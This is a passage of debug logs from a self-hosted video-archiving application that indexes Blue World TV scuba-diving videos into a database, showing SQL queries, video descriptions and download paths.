=> 16, "timestamp" => 1740841254, "title" => "SIXGILL SHARKS swim out of the Abyss!", "upload_date" => "20250301"} 19:03:26.412 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1712.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:03:26.413 [debug] QUERY OK source="sources" db=0.5ms idle=1713.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:26.416 [debug] QUERY OK source="media_items" db=2.0ms idle=1714.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-01 15:00:54Z], 34] 19:03:26.417 [debug] QUERY OK source="media_items" db=0.8ms idle=1130.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd venture to Puget Sound in the Pacific Northwest on a quest to film the giant Pacific Octopus, but instead find a bunch of curious Sixgill sharks!\n\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #rebreather \n\nChapters:\n0:00 Intro\n0:25 Hood Canal\n4:54 Our first shark!\n6:17 Redondo Beach\n8:26 More sharks!\n12:28 Summary and end", "SIXGILL SHARKS swim out of the Abyss!", "63f99085-1c7c-453f-bd37-1eaa7465a9e5", "felN-1PL66Y", false, "https://www.youtube.com/watch?v=felN-1PL66Y", 34, [], 819, false, 16, "/downloads/rory/BlueWorldTV/2025-03-01 SIXGILL SHARKS swim out of the Abyss!/SIXGILL SHARKS swim out of the Abyss! [felN-1PL66Y].mp4", false, false, 98, ~U[2025-03-01 15:00:54Z], ~U[2026-06-03 23:03:26Z], ~U[2026-06-03 23:03:26Z], "Jonathan and Todd venture to Puget Sound in the Pacific Northwest on a quest to film the giant Pacific Octopus, but instead find a bunch of curious Sixgill sharks!\n\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #rebreather \n\nChapters:\n0:00 Intro\n0:25 Hood Canal\n4:54 Our first shark!\n6:17 Redondo Beach\n8:26 More sharks!\n12:28 Summary and end", "SIXGILL SHARKS swim out of the Abyss!", "felN-1PL66Y", "https://www.youtube.com/watch?v=felN-1PL66Y", 34, 819, false, "/downloads/rory/BlueWorldTV/2025-03-01 SIXGILL SHARKS swim out of the Abyss!/SIXGILL SHARKS swim out of the Abyss! [felN-1PL66Y].mp4", false, ~U[2025-03-01 15:00:54Z]] 19:03:26.417 [debug] QUERY OK source="sources" db=0.2ms idle=129.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:26.418 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:03:26.418 [debug] QUERY OK source="media_items" db=0.1ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119045] 19:03:26.418 [debug] Current batch of media processed. Will check again in 1000ms 19:03:27.419 [debug] Current batch of media processed. Will check again in 1000ms 19:03:28.420 [debug] Current batch of media processed. Will check again in 1000ms 19:03:29.421 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In the newest Blue World adventure, Jonathan and Todd join dive guide Sean Holland with Undersea Adventures in Kennewick, Washington to dive an abandoned cold war Titan 1 missile silo that has filled with water! It's spooky!! And if you want to do this dive yourself, you do not need to be cave certified. Check it out:\n\nhttps://www.underseaadventures.net/module/class/214573/missile-silo-dives\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #rebreather #wreckdiving \n\nChapters:\n0:00 Intro", "duration" => 643, "filename" => "/downloads/rory/BlueWorldTV/2025-02-08 Diving an Abandoned MISSILE SILO!/Diving an Abandoned MISSILE SILO! [d3dLTP1RNQQ].mp4", "id" => "d3dLTP1RNQQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=d3dLTP1RNQQ", "playlist_index" => 17, "timestamp" => 1739026847, "title" => "Diving an Abandoned MISSILE SILO!", "upload_date" => "20250208"} 19:03:29.422 [debug] QUERY OK source="sources" db=0.2ms idle=1722.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:03:29.422 [debug] QUERY OK source="sources" db=0.1ms idle=1722.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:29.423 [debug] QUERY OK source="media_items" db=1.0ms idle=1723.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-08 15:00:47Z], 34] 19:03:29.425 [debug] QUERY OK source="media_items" db=0.9ms idle=1132.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In the newest Blue World adventure, Jonathan and Todd join dive guide Sean Holland with Undersea Adventures in Kennewick, Washington to dive an abandoned cold war Titan 1 missile silo that has filled with water! It's spooky!! And if you want to do this dive yourself, you do not need to be cave certified. Check it out:\n\nhttps://www.underseaadventures.net/module/class/214573/missile-silo-dives\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #rebreather #wreckdiving \n\nChapters:\n0:00 Intro", "Diving an Abandoned MISSILE SILO!", "1b3cea56-fb33-40a8-aeae-7eef8dbe2a7b", "d3dLTP1RNQQ", false, "https://www.youtube.com/watch?v=d3dLTP1RNQQ", 34, [], 643, false, 17, "/downloads/rory/BlueWorldTV/2025-02-08 Diving an Abandoned MISSILE SILO!/Diving an Abandoned MISSILE SILO! [d3dLTP1RNQQ].mp4", false, false, 98, ~U[2025-02-08 15:00:47Z], ~U[2026-06-03 23:03:29Z], ~U[2026-06-03 23:03:29Z], "In the newest Blue World adventure, Jonathan and Todd join dive guide Sean Holland with Undersea Adventures in Kennewick, Washington to dive an abandoned cold war Titan 1 missile silo that has filled with water! It's spooky!! And if you want to do this dive yourself, you do not need to be cave certified. Check it out:\n\nhttps://www.underseaadventures.net/module/class/214573/missile-silo-dives\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #rebreather #wreckdiving \n\nChapters:\n0:00 Intro", "Diving an Abandoned MISSILE SILO!", "d3dLTP1RNQQ", "https://www.youtube.com/watch?v=d3dLTP1RNQQ", 34, 643, false, "/downloads/rory/BlueWorldTV/2025-02-08 Diving an Abandoned MISSILE SILO!/Diving an Abandoned MISSILE SILO! [d3dLTP1RNQQ].mp4", false, ~U[2025-02-08 15:00:47Z]] 19:03:29.425 [debug] QUERY OK source="sources" db=0.2ms idle=133.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:29.425 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:03:29.426 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119047] 19:03:29.426 [debug] Current batch of media processed. Will check again in 1000ms 19:03:30.426 [debug] Current batch of media processed. Will check again in 1000ms 19:03:31.428 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd join world renown cave explorer Robbie Schmittner to explore a new cave that he discovered. The entrance (which he named \"Wishing Well\") turns out to be a new entrance to a large known cave system, much of which is unexplored. We get to explore a brand new section of cave, lay some line in there, and Jonathan even gets to leave his name in the cave on a line arrow.\n\nRobbie Schmittner offers true cave exploration adventures off the beaten path. If you are an EXPERIENCED cave diver and want to do something that very few people ever get to do--explore the unexplored--then Robbie is the guy to call. He is best reached through instagram at @robbieschmittner.\n\nWARNING! CAVE DIVING IS EXTREMELY DANGEROUS AND REQUIRES SPECIAL TRAINING AND EQUIPMENT. NEVER ATTEMPT TO DIVE CAVES WITHOUT PROPER TRAINING!! \n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:19 About Robbie\n2:00 Getting to the cave\n6:00 The dive begins\n7:45 Exploration begins\n14:28 Heading back\n15:32 Summary\n16:27 Credits", "duration" => 1008, "filename" => "/downloads/rory/BlueWorldTV/2024-09-14 Diving an UNEXPLORED cave in Mexico!/Diving an UNEXPLORED cave in Mexico! [GtXs5-njKx8].mp4", "id" => "GtXs5-njKx8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=GtXs5-njKx8", "playlist_index" => 18, "timestamp" => 1726322411, "title" => "Diving an UNEXPLORED cave in Mexico!", "upload_date" => "20240914"} 19:03:31.429 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=729.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:03:31.430 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=730.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:31.432 [debug] QUERY OK source="media_items" db=1.0ms idle=731.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-14 14:00:11Z], 34] 19:03:31.433 [debug] QUERY OK source="media_items" db=1.1ms idle=732.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd join world renown cave explorer Robbie Schmittner to explore a new cave that he discovered. The entrance (which he named \"Wishing Well\") turns out to be a new entrance to a large known cave system, much of which is unexplored. We get to explore a brand new section of cave, lay some line in there, and Jonathan even gets to leave his name in the cave on a line arrow.\n\nRobbie Schmittner offers true cave exploration adventures off the beaten path. If you are an EXPERIENCED cave diver and want to do something that very few people ever get to do--explore the unexplored--then Robbie is the guy to call. He is best reached through instagram at @robbieschmittner.\n\nWARNING! CAVE DIVING IS EXTREMELY DANGEROUS AND REQUIRES SPECIAL TRAINING AND EQUIPMENT. NEVER ATTEMPT TO DIVE CAVES WITHOUT PROPER TRAINING!! \n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:19 About Robbie\n2:00 Getting to the cave\n6:00 The dive begins\n7:45 Exploration begins\n14:28 Heading back\n15:32 Summary\n16:27 Credits", "Diving an UNEXPLORED cave in Mexico!", "c3d1d404-46d2-41f6-87b8-9274416a2164", "GtXs5-njKx8", false, "https://www.youtube.com/watch?v=GtXs5-njKx8", 34, [], 1008, false, 18, "/downloads/rory/BlueWorldTV/2024-09-14 Diving an UNEXPLORED cave in Mexico!/Diving an UNEXPLORED cave in Mexico! [GtXs5-njKx8].mp4", false, false, 98, ~U[2024-09-14 14:00:11Z], ~U[2026-06-03 23:03:31Z], ~U[2026-06-03 23:03:31Z], "Jonathan and Todd join world renown cave explorer Robbie Schmittner to explore a new cave that he discovered. The entrance (which he named \"Wishing Well\") turns out to be a new entrance to a large known cave system, much of which is unexplored. We get to explore a brand new section of cave, lay some line in there, and Jonathan even gets to leave his name in the cave on a line arrow.\n\nRobbie Schmittner offers true cave exploration adventures off the beaten path. If you are an EXPERIENCED cave diver and want to do something that very few people ever get to do--explore the unexplored--then Robbie is the guy to call. He is best reached through instagram at @robbieschmittner.\n\nWARNING! CAVE DIVING IS EXTREMELY DANGEROUS AND REQUIRES SPECIAL TRAINING AND EQUIPMENT. NEVER ATTEMPT TO DIVE CAVES WITHOUT PROPER TRAINING!! \n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:19 About Robbie\n2:00 Getting to the cave\n6:00 The dive begins\n7:45 Exploration begins\n14:28 Heading back\n15:32 Summary\n16:27 Credits", "Diving an UNEXPLORED cave in Mexico!", "GtXs5-njKx8", 